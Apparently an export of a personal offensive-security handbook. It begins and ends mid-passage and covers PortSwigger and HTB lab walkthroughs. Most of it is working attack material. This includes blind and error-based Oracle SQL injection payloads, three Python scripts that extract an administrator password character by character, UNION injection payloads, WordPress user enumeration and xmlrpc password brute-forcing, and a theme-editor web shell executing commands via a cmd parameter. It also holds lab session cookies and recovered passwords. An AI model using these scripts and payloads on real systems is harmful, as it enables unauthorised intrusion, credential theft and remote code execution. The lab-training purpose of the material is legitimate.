WHERE username='administrator' ) || ' ``` One-liner (Burp-friendly): ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ' || (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') || ' ``` False-user check (should stay `200`): ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ' || (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='fwefwoeijfewow') || ' ``` * Error response (`500`) -> condition true * Normal response (`200`) -> condition false Why both payloads can still return `200` in blind SQLi: * `username='administrator'` and `username='fake_user'` checks can both be syntactically valid and non-crashing. * `200` only means the query executed, not that your condition was true. * You need a conditional side effect (error or delay) to create a visible true/false signal. #### Step 4: Find Password Length ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ' || ( SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator' AND LENGTH(password)>19 ) || ' ``` One-liner (Burp-friendly): ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ' || (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator' AND LENGTH(password)>19) || ' ``` Adjust the number until you identify the exact length. #### Step 5: Extract Password Characters ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ' || ( SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator' AND SUBSTR(password,1,1)='a' ) || ' ``` One-liner (Burp-friendly): ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ' || (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator' AND SUBSTR(password,1,1)='a') || ' ``` Change position and candidate character until all characters are confirmed. Recovered password in this run: ```text theme={"theme":{"light":"github-light","dark":"tokyo-night"}} wjuc497wl6szhbtf0cbf ``` #### Python Automation ##### 1) My Version ```python theme={"theme":{"light":"github-light","dark":"tokyo-night"}} import requests url = "https://0ab600ed03fa738380f00da500d200c4.web-security-academy.net/" chars = list('abcdefghijklmnopqrstuvwxyz0123456789') password = "" switch = True counter = 1 while switch: switch = False for i in range(0, len(chars)): payload = f"dtzF9IcZvrKHYyez' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator' and substr(password,{counter},1)='{chars[i]}') || '" headers = {'Cookie' : f'TrackingId={payload}; session=7lX1aOCANa2tHPmFi5uwxzYV8CQVaxtC'} r = requests.get(url, headers=headers) print(r.status_code) if r.status_code == 500: password = password + chars[i] switch = True counter += 1 print(password) ``` ##### 2) My Version (AI Improved) ```python theme={"theme":{"light":"github-light","dark":"tokyo-night"}} import requests url = "https://0a3f0090039da8e28008128b001700f6.web-security-academy.net/" chars = '0123456789abcdefghijklmnopqrstuvwxyz' # ASCII order session = requests.Session() TRACKING_ID = "1ZQg7u4x2pUganpD" SESSION_COOKIE = "Mbce8cZSOv2mUbykvP8EK2UY2WGgkU24" def check_greater_than(position, char): """Check if character at position is greater than char""" payload = f"{TRACKING_ID}' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator' and substr(password,{position},1)>'{char}') || '" headers = {'Cookie': f'TrackingId={payload}; session={SESSION_COOKIE}'} r = session.get(url, headers=headers, timeout=10) return r.status_code == 500 def char_exists_at_position(position, char): """Verify the character actually equals what we found""" payload = f"{TRACKING_ID}' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator' and substr(password,{position},1)='{char}') || '" headers = {'Cookie': f'TrackingId={payload}; session={SESSION_COOKIE}'} r = session.get(url, headers=headers, timeout=10) return r.status_code == 500 def find_char_at_position(position): """Binary search to find character at given position""" low, high = 0, len(chars) - 1 while low < high: mid = (low + high) // 2 if check_greater_than(position, chars[mid]): low = mid + 1 else: high = mid return chars[low] # Main extraction loop password = "" position = 1 while True: char = find_char_at_position(position) # Verify this character actually exists if not char_exists_at_position(position, char): break password += char print(f"[+] Position {position}: {char} | Password: {password}") position += 1 print(f"\n[✓] Final password: {password}") ``` ##### 3) Tutorial Version ```python theme={"theme":{"light":"github-light","dark":"tokyo-night"}} import sys import requests import urllib3 import urllib.parse urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'} def sqli_password(url): password_extracted = "" for i in range(1,21): for j in range(32,126): sqli_payload = "' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator' and ascii(substr(password,%s,1))='%s') || '" % (i,j) sqli_payload_encoded = urllib.parse.quote(sqli_payload) cookies = {'TrackingId': 'FGDUewi6MoAn18KJ' + sqli_payload_encoded, 'session': 'VdmCjrlz6I6zAXGXEp2u32p0OXKDGhm2'} r = requests.get(url, cookies=cookies, verify=False, proxies=proxies) if r.status_code == 500: password_extracted += chr(j) sys.stdout.write('\r' + password_extracted) sys.stdout.flush() break else: sys.stdout.write('\r' + password_extracted + chr(j)) sys.stdout.flush() def main(): if len(sys.argv) !=2: print("(+) Usage: %s " % sys.argv[0]) print("(+) Example: %s www.example.com" % sys.argv[0]) sys.exit(-1) url = sys.argv[1] print("(+) Retreiving administrator password...") sqli_password(url) if __name__ == "__main__": main() ``` ## Extracting Sensitive Data via Verbose SQL Errors Some applications expose raw database errors when input breaks a query. This is often a misconfiguration, and it can reveal exactly how your payload is being embedded. Example after injecting a single quote into an `id` parameter: ```text theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = '''. Expected char ``` What this tells you: * You are inside a single-quoted string. * The injection point is in a `WHERE` clause. * You likely need to close the quote and comment out the tail to keep syntax valid. This can turn an otherwise blind issue into a visible one if the app reflects database error details back to you. ### Forcing Data into an Error with `CAST()` You can intentionally trigger a type-conversion error that includes query data. `CAST()` is useful for this: ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} CAST((SELECT example_column FROM example_table) AS int) ``` If `example_column` is text, many databases throw an error like: ```text theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ERROR: invalid input syntax for type integer: "Example data" ``` Now the value (`Example data`) is leaked in the error message. Why this matters: * It gives direct data output when normal page content is blind. * It can still work when strict character limits make larger conditional payloads hard to use. * It is often faster than boolean extraction when verbose errors are available. ### Lab: Visible Error-Based SQLi (Administrator Password) Goal: leak the `administrator` password from DB errors, then log in. #### Quick Approach 1. Confirm quote-breaking behavior in `TrackingId`: ```http theme={"theme":{"light":"github-light","dark":"tokyo-night"}} TrackingId=GA9UUdl1nUvjSjgU' ``` 2. Use a payload that forces string-to-int conversion on the password: ```http theme={"theme":{"light":"github-light","dark":"tokyo-night"}} TrackingId=' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)-- ``` 3. Read the DB error. If verbose errors are enabled, the failing value is shown: ```text theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ERROR: invalid input syntax for type integer: "" ``` 4. Use the leaked password to authenticate as `administrator`. #### Useful Mistakes I Made (and Fixes) * Mistake: I kept the original tracking ID prefix (`GA9UUdl1nUvjSjgU`) before the injection. Result: payload was too long and got cut mid-query. Seen as: `... FROM users WHE'. Expected char` Fix: remove the original value and start directly with `'` to save space. * Mistake: I used the longer filter payload first: ```http theme={"theme":{"light":"github-light","dark":"tokyo-night"}} TrackingId=GA9UUdl1nUvjSjgU' AND 1=CAST((SELECT password FROM users WHERE username='administrator') AS int)-- ``` Result: truncation before `WHERE` finished. Fix: start with shorter extraction (`LIMIT 1`) to validate the technique, then refine if needed. * Mistake: forgetting to neutralize the trailing quote from the original query. Fix: close the string and end with `--` so the rest of the server query is ignored. #### Compact Payload Options Primary (short, reliable for technique validation): ```http theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)-- ``` If multiple rows require iteration: ```http theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ' AND 1=CAST((SELECT password FROM users LIMIT 1 OFFSET 0) AS int)-- ``` Then increase `OFFSET` until you leak the target account, or switch to a shorter user filter if the lab allows it. #### Lab #18 Notes (My Run) End goal: exploit SQLi in `TrackingId`, leak admin credentials from `users`, and log in as `administrator`. Observed backend pattern after quote testing: ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} select trackingId from trackingIdTable where trackingId='pFNjoVuG3fnTFJ3a'' SELECT * FROM tracking WHERE id = 'pFNjoVuG3fnTFJ3a'--'. Expected char ``` Payload progression I used: ```http theme={"theme":{"light":"github-light","dark":"tokyo-night"}} pFNjoVuG3fnTFJ3a' AND CAST((SELECT 1) as int)-- ' AND 1=CAST((SELECT username from users LIMIT 1) as int)-- ' AND 1=CAST((SELECT password from users LIMIT 1) as int)-- ``` Recovered password in this run: ```text theme={"theme":{"light":"github-light","dark":"tokyo-night"}} fc9v2vqq5gozv1cb0ibj ``` Quick validation logic: * If payload is malformed/truncated, you get unterminated string errors. * If CAST forces string -> int conversion, the DB error leaks the selected value. * Once password is leaked, authenticate as `administrator` to solve the lab. #### Understanding `Expected char` This error text is easy to misread. It usually means your payload was truncated, which left an unclosed string. What a string literal means here: * A string literal is plain text wrapped in single quotes in SQL, like `'admin'`. * In this query, the cookie value is placed inside a string literal: ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} WHERE id = '' ``` * If your injection adds or breaks `'` quotes incorrectly, SQL thinks the text string started but never finished. Example error: ```text theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Unterminated string literal started at position 95 in SQL SELECT * FROM tracking WHERE id = 'GA9UUdl1nUvjSjgU' AND 1=CAST((SELECT password FROM users WHE'. Expected char ``` What is happening: * Input was cut around position 95 (cookie length/validation limit). * `WHERE` was truncated to `WHE`. * Truncation left a dangling `'`. * SQL parser sees a started string literal with no closing quote. What `Expected char` actually means: * Not "I need a specific character". * It means: "string literal started, but input ended before completion". Visual: ```text theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Full payload: ' AND 1=CAST((SELECT password FROM users WHERE username='administrator') AS int)-- Server received (truncated): ' AND 1=CAST((SELECT password FROM users WHE' ``` Fix: shorten the payload to fit the limit. ```http theme={"theme":{"light":"github-light","dark":"tokyo-night"}} 'AND CAST((SELECT password FROM users LIMIT 1)AS int)=1-- ``` This removes unnecessary spaces and avoids wasting characters on the original tracking ID prefix. # SQL Injection UNION Attacks Source: https://hackbook.dudji.com/attacks/web/sql-injection/sql-injection-union-attacks Use UNION to retrieve data from other database tables via SQL injection. The `UNION` keyword lets you append additional `SELECT` queries to the original, retrieving data from other tables: ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} SELECT a, b FROM table1 UNION SELECT c, d FROM table2 ``` Returns a single result set with values from both tables. Two requirements must be met for UNION to work: * Both queries must return the **same number of columns** * Column **data types must be compatible** between queries To pull this off you need to determine: 1. How many columns the original query returns 2. Which of those columns can hold string data (to display your exfiltrated results) ## Determining the Number of Columns Two methods to find the column count: ### Method 1 — ORDER BY incrementing: ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ' ORDER BY 1-- ' ORDER BY 2-- ' ORDER BY 3-- ← error here means 2 columns ``` ``` The ORDER BY position number 3 is out of range of the number of items in the select list. ``` ### Method 2 — UNION SELECT NULL: ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ' UNION SELECT NULL-- ' UNION SELECT NULL,NULL-- ' UNION SELECT NULL,NULL,NULL-- ← no error means 3 columns ``` ``` All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists. ``` `NULL` is used because it's compatible with every data type, maximizing the chance the payload succeeds. When the count matches, the database returns an extra row of nulls — look for any detectable difference in the response, whether that's extra content, a different error, or a change in page structure. ## Database-Specific Syntax Two notable exceptions to standard syntax: * **Oracle** — every `SELECT` needs a `FROM`, use the built-in `dual` table: ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ' UNION SELECT NULL FROM DUAL-- ``` * **MySQL** — `--` must be followed by a space, or use `#` instead: ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ' UNION SELECT NULL-- ← needs a space after -- ' UNION SELECT NULL# ``` ## Finding Columns with a Useful Data Type Once you know the column count, probe each column for string compatibility by placing `'a'` into one column at a time: ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ' UNION SELECT 'a',NULL,NULL,NULL-- ' UNION SELECT NULL,'a',NULL,NULL-- ' UNION SELECT NULL,NULL,'a',NULL-- ' UNION SELECT NULL,NULL,NULL,'a'-- ``` A type mismatch throws an error like: ``` Conversion failed when converting the varchar value 'a' to data type int. ``` If no error occurs and the response contains `a`, that column can hold string data and is usable for exfiltration. ## Retrieving Interesting Data With column count and string-compatible columns confirmed, you can pull real data. Given: * Original query returns **2 string columns** * Database has a `users` table with `username` and `password` columns ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ' UNION SELECT username, password FROM users-- ``` If you don't know the table/column names yet, you'll need to enumerate the database structure first — covered in Examining the database. ## Retrieving Multiple Values Within a Single Column When only one string-compatible column is available, concatenate multiple values into it: ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ' UNION SELECT username || '~' || password FROM users-- ``` `||` is Oracle's concatenation operator; `~` is just a separator so you can split the values apart. The response returns all credentials in one column: ``` administrator~s3cure wiener~peter carlos~montoya ``` Concatenation syntax varies by database — check the SQL injection cheat sheet for other platforms. # WordPress Enumeration Source: https://hackbook.dudji.com/attacks/web/wordpress/enumeration Systematic WordPress reconnaissance to map users, plugins, themes, and exposed attack paths. ## WordPress Core Version Enumeration You can use several manual methods to discover the installed WordPress version. The fastest starting point is reviewing page source in the browser with View page source (`CTRL + U`). Then search for the generator meta tag (`CTRL + F`) or pull the page from CLI and filter with `curl` and `grep`. ### WP Version - Source Code ```html theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ...SNIP... ...SNIP... ``` ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ curl -s -X GET http://blog.inlanefreight.com | grep ' ``` Aside from version information, source code may also expose useful comments. CSS and JavaScript asset links can also reveal version hints. ### WP Version - CSS ```html theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ...SNIP... ...SNIP... ``` ### WP Version - JS ```html theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ...SNIP... ...SNIP... ``` For older WordPress versions, another common source of version information is the `readme.html` file in the WordPress root directory. ## Plugins and Themes Enumeration You can find information about installed plugins by reviewing the page source manually or filtering with `curl` and command-line utilities. ### Plugins - Passive Enumeration ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ curl -s -X GET http://blog.inlanefreight.com | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'wp-content/plugins/*' | cut -d"'" -f2 http://blog.inlanefreight.com/wp-content/plugins/wp-google-places-review-slider/public/css/wprev-public_combine.css?ver=6.1 http://blog.inlanefreight.com/wp-content/plugins/mail-masta/lib/subscriber.js?ver=5.3.3 http://blog.inlanefreight.com/wp-content/plugins/mail-masta/lib/jquery.validationEngine-en.js?ver=5.3.3 http://blog.inlanefreight.com/wp-content/plugins/mail-masta/lib/jquery.validationEngine.js?ver=5.3.3 http://blog.inlanefreight.com/wp-content/plugins/wp-google-places-review-slider/public/js/wprev-public-com-min.js?ver=6.1 http://blog.inlanefreight.com/wp-content/plugins/mail-masta/lib/css/mm_frontend.css?ver=5.3.3 ``` ### Themes - Passive Enumeration ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ curl -s -X GET http://blog.inlanefreight.com | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'themes' | cut -d"'" -f2 http://blog.inlanefreight.com/wp-content/themes/ben_theme/css/bootstrap.css?ver=5.3.3 http://blog.inlanefreight.com/wp-content/themes/ben_theme/style.css?ver=5.3.3 http://blog.inlanefreight.com/wp-content/themes/ben_theme/css/colors/default.css?ver=5.3.3 http://blog.inlanefreight.com/wp-content/themes/ben_theme/css/jquery.smartmenus.bootstrap.css?ver=5.3.3 http://blog.inlanefreight.com/wp-content/themes/ben_theme/css/owl.carousel.css?ver=5.3.3 http://blog.inlanefreight.com/wp-content/themes/ben_theme/css/owl.transitions.css?ver=5.3.3 http://blog.inlanefreight.com/wp-content/themes/ben_theme/css/font-awesome.css?ver=5.3.3 http://blog.inlanefreight.com/wp-content/themes/ben_theme/css/animate.css?ver=5.3.3 http://blog.inlanefreight.com/wp-content/themes/ben_theme/css/magnific-popup.css?ver=5.3.3 http://blog.inlanefreight.com/wp-content/themes/ben_theme/css/bootstrap-progressbar.min.css?ver=5.3.3 http://blog.inlanefreight.com/wp-content/themes/ben_theme/js/navigation.js?ver=5.3.3 http://blog.inlanefreight.com/wp-content/themes/ben_theme/js/bootstrap.min.js?ver=5.3.3 http://blog.inlanefreight.com/wp-content/themes/ben_theme/js/jquery.smartmenus.js?ver=5.3.3 http://blog.inlanefreight.com/wp-content/themes/ben_theme/js/jquery.smartmenus.bootstrap.js?ver=5.3.3 http://blog.inlanefreight.com/wp-content/themes/ben_theme/js/owl.carousel.min.js?ver=5.3.3 background: url("http://blog.inlanefreight.com/wp-content/themes/ben_theme/images/breadcrumb-back.jpg") #50b9ce; ``` Response headers may also contain version numbers for specific plugins. Not all installed plugins and themes are discoverable passively. To enumerate them actively, send GET requests directly to plugin or theme paths on the server. A `301` redirect confirms the path exists; a `404` means it doesn't. ### Plugins - Active Enumeration ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ curl -I -X GET http://blog.inlanefreight.com/wp-content/plugins/mail-masta HTTP/1.1 301 Moved Permanently Date: Wed, 13 May 2020 20:08:23 GMT Server: Apache/2.4.29 (Ubuntu) Location: http://blog.inlanefreight.com/wp-content/plugins/mail-masta/ Content-Length: 356 Content-Type: text/html; charset=iso-8859-1 ``` ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ curl -I -X GET http://blog.inlanefreight.com/wp-content/plugins/someplugin HTTP/1.1 404 Not Found Date: Wed, 13 May 2020 20:08:18 GMT Server: Apache/2.4.29 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: ; rel="https://api.w.org/" Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 ``` The same applies to installed themes. To speed up enumeration, use a bash script or a tool such as `wfuzz` or `WPScan` to automate the process. ## Directory Indexing Active plugins should not be the only area of focus when assessing a WordPress website. Even if a plugin is deactivated, it may still be accessible, and you can still reach its associated scripts and functions. Deactivating a vulnerable plugin does not improve the security of the WordPress site — it is best practice to either remove or keep up-to-date any unused plugins. The following example shows a disabled plugin. Disabled plugin in WordPress admin Browsing to the plugins directory shows the Mail Masta plugin is still accessible despite being disabled. Mail Masta plugin directory accessible You can also view the directory listing using `curl` and convert the HTML output into a readable format with `html2text`. ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ curl -s -X GET http://blog.inlanefreight.com/wp-content/plugins/mail-masta/ | html2text ****** Index of /wp-content/plugins/mail-masta ****** [[ICO]] Name Last_modified Size Description =========================================================================== [[PARENTDIR]] Parent_Directory - [[DIR]] amazon_api/ 2020-05-13 18:01 - [[DIR]] inc/ 2020-05-13 18:01 - [[DIR]] lib/ 2020-05-13 18:01 - [[ ]] plugin-interface.php 2020-05-13 18:01 88K [[TXT]] readme.txt 2020-05-13 18:01 2.2K =========================================================================== Apache/2.4.29 (Ubuntu) Server at blog.inlanefreight.com Port 80 ``` This type of access is called Directory Indexing. It allows you to navigate the folder and access files that may contain sensitive information or vulnerable code. It is best practice to disable directory indexing on web servers so an attacker cannot gain direct access to files or folders beyond those required for the website to function. ## User Enumeration There are two methods for performing manual username enumeration. ### First Method Review posts to uncover the user ID and username. Hovering over the post author link reveals the user's profile URL in the browser's status bar. Post author link showing admin user The admin user is usually assigned user ID 1. Confirm this by specifying the user ID in the `author` parameter: ``` http://blog.inlanefreight.com/?author=1 ``` You can also do this from the command line with `curl`. The `Location` header in the response confirms which username belongs to that ID. ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ curl -s -I http://blog.inlanefreight.com/?author=1 HTTP/1.1 301 Moved Permanently Date: Wed, 13 May 2020 20:47:08 GMT Server: Apache/2.4.29 (Ubuntu) X-Redirect-By: WordPress Location: http://blog.inlanefreight.com/index.php/author/admin/ Content-Length: 0 Content-Type: text/html; charset=UTF-8 ``` If the user ID does not correspond to an existing user, you receive a `404 Not Found` response. ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ curl -s -I http://blog.inlanefreight.com/?author=100 HTTP/1.1 404 Not Found Date: Wed, 13 May 2020 20:47:14 GMT Server: Apache/2.4.29 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: ; rel="https://api.w.org/" Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 ``` ### Second Method The second method queries the JSON endpoint to retrieve a list of users. From WordPress 4.7.1 onwards, this endpoint only shows whether a user is configured. Before that release, all users who had published a post were returned by default. ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ curl http://blog.inlanefreight.com/wp-json/wp/v2/users | jq [ { "id": 1, "name": "admin", "url": "", "description": "", "link": "http://blog.inlanefreight.com/index.php/author/admin/", }, { "id": 2, "name": "ch4p", "url": "", "description": "", "link": "http://blog.inlanefreight.com/index.php/author/ch4p/", }, ] ``` ## Login Once we are armed with a list of valid users, we can mount a password brute-forcing attack to attempt to gain access to the WordPress backend. This attack can be performed via the login page or the `xmlrpc.php` page. If our POST request against `xmlrpc.php` contains valid credentials, we will receive the following output: ```shellsession title="cURL - POST Request" theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ curl -X POST -d "wp.getUsersBlogsadminCORRECT-PASSWORD" http://blog.inlanefreight.com/xmlrpc.php isAdmin1 urlhttp://blog.inlanefreight.com/ blogid1 blogNameInlanefreight xmlrpchttp://blog.inlanefreight.com/xmlrpc.php ``` If the credentials are not valid, we will receive a `403 faultCode` error. ```shellsession title="Invalid Credentials - 403 Forbidden" theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ curl -X POST -d "wp.getUsersBlogsadminasdasd" http://blog.inlanefreight.com/xmlrpc.php faultCode 403 faultString Incorrect username or password. ``` These last few sections introduced several methods for performing manual enumeration against a WordPress instance. It is essential to understand manual methods before attempting to use automated tools. While automated tools greatly speed up the penetration testing process, it is our responsibility to understand their impact on the systems we are assessing. A solid understanding of manual enumeration methods will also assist with troubleshooting should any automated tools not function properly or provide unexpected output. ## WPScan WPScan is an automated WordPress scanner and enumeration tool. It determines if the various themes and plugins used by a WordPress site are outdated or vulnerable. It is installed by default on Parrot OS but can also be installed manually with `gem`. ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ gem install wpscan ``` We can issue `wpscan --hh` to verify the installation. This command will show us the usage menu with all of the available command-line switches. ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ wpscan --hh _______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ ® \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 3.8.1 @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________ Usage: wpscan [options] --url URL The URL of the blog to scan Allowed Protocols: http, https Default Protocol if none provided: http This option is mandatory unless update or help or hh or version is/are supplied -h, --help Display the simple help and exit --hh Display the full help and exit --version Display the version and exit --ignore-main-redirect Ignore the main redirect (if any) and scan the target url -v, --verbose Verbose mode --[no-]banner Whether or not to display the banner Default: true --max-scan-duration SECONDS Abort the scan if it exceeds the time provided in seconds -o, --output FILE Output to FILE -f, --format FORMAT Output results in the format supplied Available choices: cli-no-colour, cli-no-color, json, cli ``` There are various enumeration options that can be specified, such as vulnerable plugins, all plugins, user enumeration, and more. It is important to understand all of the options available to us and fine-tune the scanner depending on the goal (i.e., are we just interested to see if the WordPress site is using any vulnerable plugins, do we need to perform a full audit of all aspects of the site or are we just interested in creating a user list to use in a brute force password guessing attack?). WPScan can pull in vulnerability information from external sources to enhance our scans. We can obtain an API token from WPVulnDB, which is used by WPScan to scan for vulnerability and exploit proof of concepts (POC) and reports. The free plan allows up to 50 requests per day. To use the WPVulnDB database, just create an account and copy the API token from the users page. This token can then be supplied to WPScan using the `--api-token` parameter. ### Enumerating a Website with WPScan The `--enumerate` flag is used to enumerate various components of the WordPress application such as plugins, themes, and users. By default, WPScan enumerates vulnerable plugins, themes, users, media, and backups. However, specific arguments can be supplied to restrict enumeration to specific components. For example, all plugins can be enumerated using the arguments `--enumerate ap`. The default number of threads used is 5, however, this value can be changed using the `-t` flag. ```shellsession title="WPScan Enumeration" theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ wpscan --url http://blog.inlanefreight.com --enumerate --api-token Kffr4fdJzy9qVcTk [+] URL: http://blog.inlanefreight.com/ [+] Headers | - Server: Apache/2.4.38 (Debian) | - X-Powered-By: PHP/7.3.15 | Found By: Headers (Passive Detection) [+] XML-RPC seems to be enabled: http://blog.inlanefreight.com/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | - http://codex.wordpress.org/XML-RPC_Pingback_API [+] The external WP-Cron seems to be enabled: http://blog.inlanefreight.com/wp-cron.php | Found By: Direct Access (Aggressive Detection) | - https://www.iplocation.net/defend-wordpress-from-ddos [+] WordPress version 5.3.2 identified (Latest, released on 2019-12-18). | Found By: Rss Generator (Passive Detection) | - http://blog.inlanefreight.com/?feed=rss2, https://wordpress.org/?v=5.3.2 [+] WordPress theme in use: twentytwenty | Location: http://blog.inlanefreight.com/wp-content/themes/twentytwenty/ | Readme: http://blog.inlanefreight.com/wp-content/themes/twentytwenty/readme.txt | [!] The version is out of date, the latest version is 1.2 | Style Name: Twenty Twenty [+] Enumerating Vulnerable Plugins (via Passive Methods) [i] Plugin(s) Identified: [+] mail-masta | Location: http://blog.inlanefreight.com/wp-content/plugins/mail-masta/ | Latest Version: 1.0 (up to date) | Found By: Urls In Homepage (Passive Detection) | [!] 2 vulnerabilities identified: | | [!] Title: Mail Masta 1.0 - Unauthenticated Local File Inclusion (LFI) | - https://www.exploit-db.com/exploits/40290/ | [!] Title: Mail Masta 1.0 - Multiple SQL Injection | - https://wpvulndb.com/vulnerabilities/8740 [+] wp-google-places-review-slider | [!] 1 vulnerability identified: | [!] Title: WP Google Review Slider <= 6.1 - Authenticated SQL Injection | Reference: https://wpvulndb.com/vulnerabilities/9933 [i] No themes Found. [i] No Config Backups Found. [i] No Medias Found. [+] Enumerating Users (via Passive and Aggressive Methods) [i] User(s) Identified: [+] admin | Found By: Author Posts - Display Name (Passive Detection) | Confirmed By: | Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Login Error Messages (Aggressive Detection) [+] david [+] roger ``` WPScan uses various passive and active methods to determine versions and vulnerabilities, as shown in the scan output above. # WordPress Exploitation Source: https://hackbook.dudji.com/attacks/web/wordpress/exploitation Practical exploitation paths in WordPress after successful enumeration. ## Attacking WordPress Users ### WordPress User Bruteforce WPScan can be used to brute force usernames and passwords. The scan report returned three users registered on the website: `admin`, `roger`, and `david`. The tool uses two kinds of login brute force attacks, `xmlrpc` and `wp-login`. The `wp-login` method will attempt to brute force the normal WordPress login page, while the `xmlrpc` method uses the WordPress API to make login attempts through `/xmlrpc.php`. The `xmlrpc` method is preferred as it is faster. ```shellsession title="WPScan - XMLRPC" theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ wpscan --password-attack xmlrpc -t 20 -U admin,david -P passwords.txt --url http://blog.inlanefreight.com [+] URL: http://blog.inlanefreight.com/ [+] Started: Thu Apr 9 13:37:36 2020 [+] Performing password attack on Xmlrpc against 3 user/s [SUCCESS] - admin / sunshine1 Trying david / Spring2016 Time: 00:00:01 <============> (474 / 474) 100.00% Time: 00:00:01 [i] Valid Combinations Found: | Username: admin, Password: sunshine1 ``` ## Remote Code Execution (RCE) via the Theme Editor ### Attacking the WordPress Backend With administrative access to WordPress, we can modify the PHP source code to execute system commands. To perform this attack, log in to WordPress with administrator credentials, which should redirect us to the admin panel. Click on Appearance in the side panel and select Theme Editor. This page allows us to edit PHP source code directly. Select an inactive theme to avoid corrupting the main theme. WordPress Theme Editor view In this example, the active theme is Transportex, so an unused theme such as Twenty Seventeen should be selected instead. Selecting an inactive WordPress theme Choose the inactive theme and click Select. Next, choose a non-critical file such as `404.php`, then add a web shell. ```php title="Twenty Seventeen Theme - 404.php" theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ``` The code above executes operating system commands through the GET parameter `cmd`. In this example, we modified `404.php` and introduced the `system()` function. Command execution can then be triggered by appending the `cmd` parameter to the URL, for example: `404.php?cmd=id`. We can validate code execution by browsing to that URL directly or by issuing the following cURL request. ```shellsession title="RCE" theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ curl -X GET "http:///wp-content/themes/twentyseventeen/404.php?cmd=id" uid=1000(wp-user) gid=1000(wp-user) groups=1000(wp-user) ``` ## Attacking WordPress with Metasploit ### Automating WordPress Exploitation We can use the 